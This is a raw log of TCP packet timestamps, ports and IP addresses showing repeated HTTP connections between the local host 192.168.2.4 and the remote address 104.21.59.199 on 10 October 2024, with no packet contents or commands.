Oct 10, 2024 21:02:11.701505899 CEST	80	50351	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:11.701518059 CEST	80	50351	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:11.701528072 CEST	80	50351	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:11.701634884 CEST	80	50351	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:11.701646090 CEST	80	50351	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:11.701656103 CEST	80	50351	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:11.701668978 CEST	80	50351	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:11.701718092 CEST	80	50351	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:11.701729059 CEST	80	50351	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:11.701741934 CEST	80	50351	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:11.701754093 CEST	80	50351	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:11.706315994 CEST	80	50351	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:12.014817953 CEST	80	50351	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:12.023787975 CEST	50351	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:12.029596090 CEST	80	50351	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:12.029676914 CEST	50351	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:12.145881891 CEST	50357	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:12.151331902 CEST	80	50357	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:12.151415110 CEST	50357	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:12.151796103 CEST	50357	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:12.156984091 CEST	80	50357	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:12.696577072 CEST	80	50357	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:12.698028088 CEST	50357	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:12.698245049 CEST	50357	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:12.703008890 CEST	80	50357	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:12.703428030 CEST	80	50357	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:12.703455925 CEST	80	50357	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:12.703483105 CEST	80	50357	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:12.703502893 CEST	50357	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:12.703510046 CEST	80	50357	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:12.703542948 CEST	50357	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:12.703543901 CEST	50357	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:12.703562021 CEST	80	50357	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:12.703576088 CEST	50357	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:12.703591108 CEST	80	50357	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:12.703619003 CEST	80	50357	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:12.703624010 CEST	50357	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:12.703645945 CEST	80	50357	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:12.703669071 CEST	50357	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:12.703692913 CEST	80	50357	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:12.703696966 CEST	50357	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:12.703721046 CEST	80	50357	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:12.703742981 CEST	50357	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:12.703773975 CEST	50357	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:12.708617926 CEST	80	50357	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:12.708667994 CEST	80	50357	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:12.708673954 CEST	50357	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:12.708695889 CEST	80	50357	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:12.708726883 CEST	80	50357	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:12.708728075 CEST	50357	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:12.708743095 CEST	50357	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:12.708775997 CEST	80	50357	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:12.708780050 CEST	50357	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:12.708822966 CEST	50357	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:12.708884954 CEST	80	50357	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:12.708939075 CEST	50357	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:12.708971977 CEST	80	50357	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:12.709018946 CEST	80	50357	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:12.709031105 CEST	50357	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:12.709072113 CEST	50357	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:12.709079981 CEST	80	50357	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:12.709111929 CEST	80	50357	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:12.709136963 CEST	50357	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:12.709168911 CEST	50357	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:12.709176064 CEST	80	50357	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:12.709203959 CEST	80	50357	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:12.709237099 CEST	50357	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:12.709295034 CEST	50357	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:12.713824034 CEST	80	50357	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:12.713871956 CEST	80	50357	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:12.713882923 CEST	50357	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:12.713900089 CEST	80	50357	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:12.714097977 CEST	80	50357	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:12.714361906 CEST	80	50357	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:12.714392900 CEST	80	50357	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:12.714484930 CEST	80	50357	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:12.714514971 CEST	80	50357	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:12.714667082 CEST	80	50357	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:12.714693069 CEST	80	50357	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:12.714719057 CEST	80	50357	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:12.714765072 CEST	80	50357	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:12.714791059 CEST	80	50357	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:12.714816093 CEST	80	50357	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:12.714862108 CEST	80	50357	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:12.714886904 CEST	80	50357	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:12.714931965 CEST	80	50357	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:12.714956999 CEST	80	50357	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:12.714982986 CEST	80	50357	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:12.715007067 CEST	80	50357	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:12.715053082 CEST	80	50357	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:12.715078115 CEST	80	50357	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:12.715104103 CEST	80	50357	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:12.715128899 CEST	80	50357	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:12.715154886 CEST	80	50357	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:12.715179920 CEST	80	50357	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:12.718965054 CEST	80	50357	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:13.021969080 CEST	80	50357	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:13.072395086 CEST	50357	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:13.170687914 CEST	50357	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:13.177037001 CEST	80	50357	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:13.177129984 CEST	50357	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:13.284813881 CEST	50363	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:13.290087938 CEST	80	50363	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:13.290189028 CEST	50363	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:13.290972948 CEST	50363	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:13.295960903 CEST	80	50363	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:13.737899065 CEST	80	50363	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:13.738919020 CEST	50363	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:13.739109039 CEST	50363	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:13.743983030 CEST	80	50363	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:13.744149923 CEST	80	50363	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:13.744187117 CEST	80	50363	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:13.744219065 CEST	50363	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:13.744251966 CEST	50363	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:13.744281054 CEST	80	50363	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:13.744308949 CEST	80	50363	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:13.744338036 CEST	50363	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:13.744338989 CEST	80	50363	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:13.744368076 CEST	80	50363	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:13.744368076 CEST	50363	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:13.744395018 CEST	50363	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:13.744398117 CEST	80	50363	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:13.744424105 CEST	50363	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:13.744425058 CEST	80	50363	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:13.744452000 CEST	50363	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:13.744452000 CEST	80	50363	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:13.744479895 CEST	80	50363	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:13.744481087 CEST	50363	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:13.744520903 CEST	50363	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:13.744520903 CEST	50363	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:13.749456882 CEST	80	50363	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:13.749485970 CEST	80	50363	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:13.749521971 CEST	50363	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:13.749540091 CEST	80	50363	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:13.749553919 CEST	50363	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:13.749568939 CEST	80	50363	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:13.749591112 CEST	50363	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:13.749598980 CEST	80	50363	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:13.749699116 CEST	50363	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:13.749739885 CEST	80	50363	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:13.749825954 CEST	80	50363	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:13.749828100 CEST	50363	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:13.749897957 CEST	50363	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:13.749938965 CEST	50363	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:13.754465103 CEST	80	50363	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:13.754535913 CEST	50363	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:13.754635096 CEST	80	50363	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:13.754684925 CEST	80	50363	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:13.754755974 CEST	80	50363	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:13.754803896 CEST	80	50363	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:13.754872084 CEST	80	50363	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:13.754918098 CEST	80	50363	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:13.754950047 CEST	80	50363	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:13.754976988 CEST	80	50363	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:13.755023956 CEST	80	50363	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:13.755054951 CEST	80	50363	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:13.755405903 CEST	80	50363	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:13.755434036 CEST	80	50363	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:13.755460024 CEST	80	50363	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:13.755486012 CEST	80	50363	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:13.755517006 CEST	80	50363	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:13.759407997 CEST	80	50363	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:14.047574997 CEST	80	50363	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:14.058024883 CEST	50363	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:14.063519001 CEST	80	50363	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:14.063592911 CEST	50363	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:14.239953995 CEST	50369	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:14.244972944 CEST	80	50369	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:14.245059013 CEST	50369	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:14.245438099 CEST	50369	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:14.250241041 CEST	80	50369	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:14.698637009 CEST	80	50369	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:14.699259996 CEST	50369	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:14.699455023 CEST	50369	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:14.704322100 CEST	80	50369	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:14.704350948 CEST	80	50369	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:14.704407930 CEST	80	50369	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:14.704425097 CEST	50369	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:14.704435110 CEST	80	50369	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:14.704457045 CEST	50369	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:14.704482079 CEST	50369	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:14.704504013 CEST	80	50369	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:14.704530954 CEST	80	50369	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:14.704556942 CEST	50369	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:14.704576969 CEST	80	50369	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:14.704583883 CEST	50369	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:14.704603910 CEST	80	50369	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:14.704631090 CEST	50369	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:14.704653025 CEST	80	50369	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:14.704655886 CEST	50369	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:14.704680920 CEST	80	50369	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:14.704705954 CEST	80	50369	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:14.704706907 CEST	50369	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:14.704735994 CEST	50369	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:14.704761982 CEST	50369	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:14.709445000 CEST	80	50369	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:14.709516048 CEST	50369	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:14.709760904 CEST	80	50369	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:14.709788084 CEST	80	50369	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:14.709817886 CEST	80	50369	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:14.709863901 CEST	80	50369	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:14.709892988 CEST	80	50369	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:14.709932089 CEST	50369	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:14.709952116 CEST	80	50369	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:14.709980011 CEST	50369	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:14.710025072 CEST	50369	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:14.710036993 CEST	80	50369	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:14.710094929 CEST	50369	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:14.710129976 CEST	80	50369	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:14.710155964 CEST	80	50369	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:14.710181952 CEST	80	50369	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:14.710191011 CEST	50369	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:14.710232019 CEST	50369	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:14.710268974 CEST	50369	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:14.715112925 CEST	80	50369	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:14.715171099 CEST	50369	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:14.715717077 CEST	80	50369	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:14.715764999 CEST	80	50369	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:14.715795994 CEST	80	50369	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:14.715842962 CEST	80	50369	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:14.715873003 CEST	80	50369	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:14.715918064 CEST	80	50369	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:14.716016054 CEST	80	50369	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:14.716419935 CEST	80	50369	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:14.716466904 CEST	80	50369	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:14.716492891 CEST	80	50369	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:14.716537952 CEST	80	50369	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:14.716563940 CEST	80	50369	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:14.716608047 CEST	80	50369	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:14.716634035 CEST	80	50369	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:14.716677904 CEST	80	50369	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:14.716703892 CEST	80	50369	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:14.716728926 CEST	80	50369	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:14.716753960 CEST	80	50369	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:14.716824055 CEST	80	50369	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:14.716850042 CEST	80	50369	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:14.716876984 CEST	80	50369	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:14.716902018 CEST	80	50369	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:14.716928005 CEST	80	50369	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:14.716957092 CEST	80	50369	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:14.716983080 CEST	80	50369	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:14.721132994 CEST	80	50369	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:15.013561964 CEST	80	50369	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:15.021584988 CEST	50369	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:15.027601004 CEST	80	50369	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:15.027664900 CEST	50369	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:15.145836115 CEST	50374	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:15.151024103 CEST	80	50374	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:15.151473999 CEST	50374	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:15.151820898 CEST	50374	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:15.156812906 CEST	80	50374	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:15.599240065 CEST	80	50374	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:15.615458965 CEST	50374	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:15.615818977 CEST	50374	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:15.620735884 CEST	80	50374	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:15.621114969 CEST	80	50374	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:15.621143103 CEST	80	50374	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:15.621170044 CEST	50374	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:15.621191978 CEST	80	50374	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:15.621197939 CEST	50374	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:15.621221066 CEST	80	50374	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:15.621251106 CEST	80	50374	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:15.621282101 CEST	50374	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:15.621309042 CEST	50374	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:15.621321917 CEST	80	50374	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:15.621368885 CEST	80	50374	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:15.621395111 CEST	80	50374	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:15.621418953 CEST	50374	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:15.621423960 CEST	80	50374	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:15.621448994 CEST	50374	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:15.621450901 CEST	80	50374	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:15.621475935 CEST	50374	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:15.621499062 CEST	50374	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:15.626276016 CEST	80	50374	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:15.626327991 CEST	50374	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:15.626374960 CEST	80	50374	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:15.626421928 CEST	80	50374	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:15.626447916 CEST	80	50374	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:15.626473904 CEST	50374	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:15.626475096 CEST	80	50374	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:15.626506090 CEST	50374	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:15.626532078 CEST	50374	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:15.626537085 CEST	80	50374	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:15.626593113 CEST	50374	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:15.626648903 CEST	80	50374	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:15.626784086 CEST	80	50374	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:15.626811028 CEST	80	50374	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:15.626841068 CEST	80	50374	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:15.626871109 CEST	50374	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:15.626912117 CEST	50374	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:15.626939058 CEST	50374	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:15.631557941 CEST	80	50374	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:15.631746054 CEST	80	50374	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:15.631773949 CEST	80	50374	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:15.631802082 CEST	50374	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:15.631891012 CEST	80	50374	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:15.631980896 CEST	80	50374	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:15.632566929 CEST	80	50374	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:15.632594109 CEST	80	50374	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:15.632639885 CEST	80	50374	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:15.632667065 CEST	80	50374	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:15.632692099 CEST	80	50374	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:15.632718086 CEST	80	50374	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:15.632771015 CEST	80	50374	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:15.632796049 CEST	80	50374	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:15.632822037 CEST	80	50374	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:15.632852077 CEST	80	50374	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:15.636734962 CEST	80	50374	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:15.938735962 CEST	80	50374	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:15.947005987 CEST	50374	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:15.954180956 CEST	80	50374	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:15.954276085 CEST	50374	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:16.068991899 CEST	50380	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:16.073962927 CEST	80	50380	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:16.077275038 CEST	50380	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:16.077626944 CEST	50380	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:16.082593918 CEST	80	50380	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:16.549978018 CEST	80	50380	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:16.550879002 CEST	50380	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:16.551076889 CEST	50380	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:16.555929899 CEST	80	50380	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:16.556092978 CEST	80	50380	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:16.556134939 CEST	80	50380	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:16.556149006 CEST	50380	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:16.556183100 CEST	80	50380	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:16.556214094 CEST	80	50380	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:16.556220055 CEST	50380	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:16.556243896 CEST	50380	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:16.556258917 CEST	50380	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:16.556324005 CEST	80	50380	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:16.556351900 CEST	80	50380	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:16.556370974 CEST	50380	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:16.556399107 CEST	50380	80	192.168.2.4	104.21.59.199
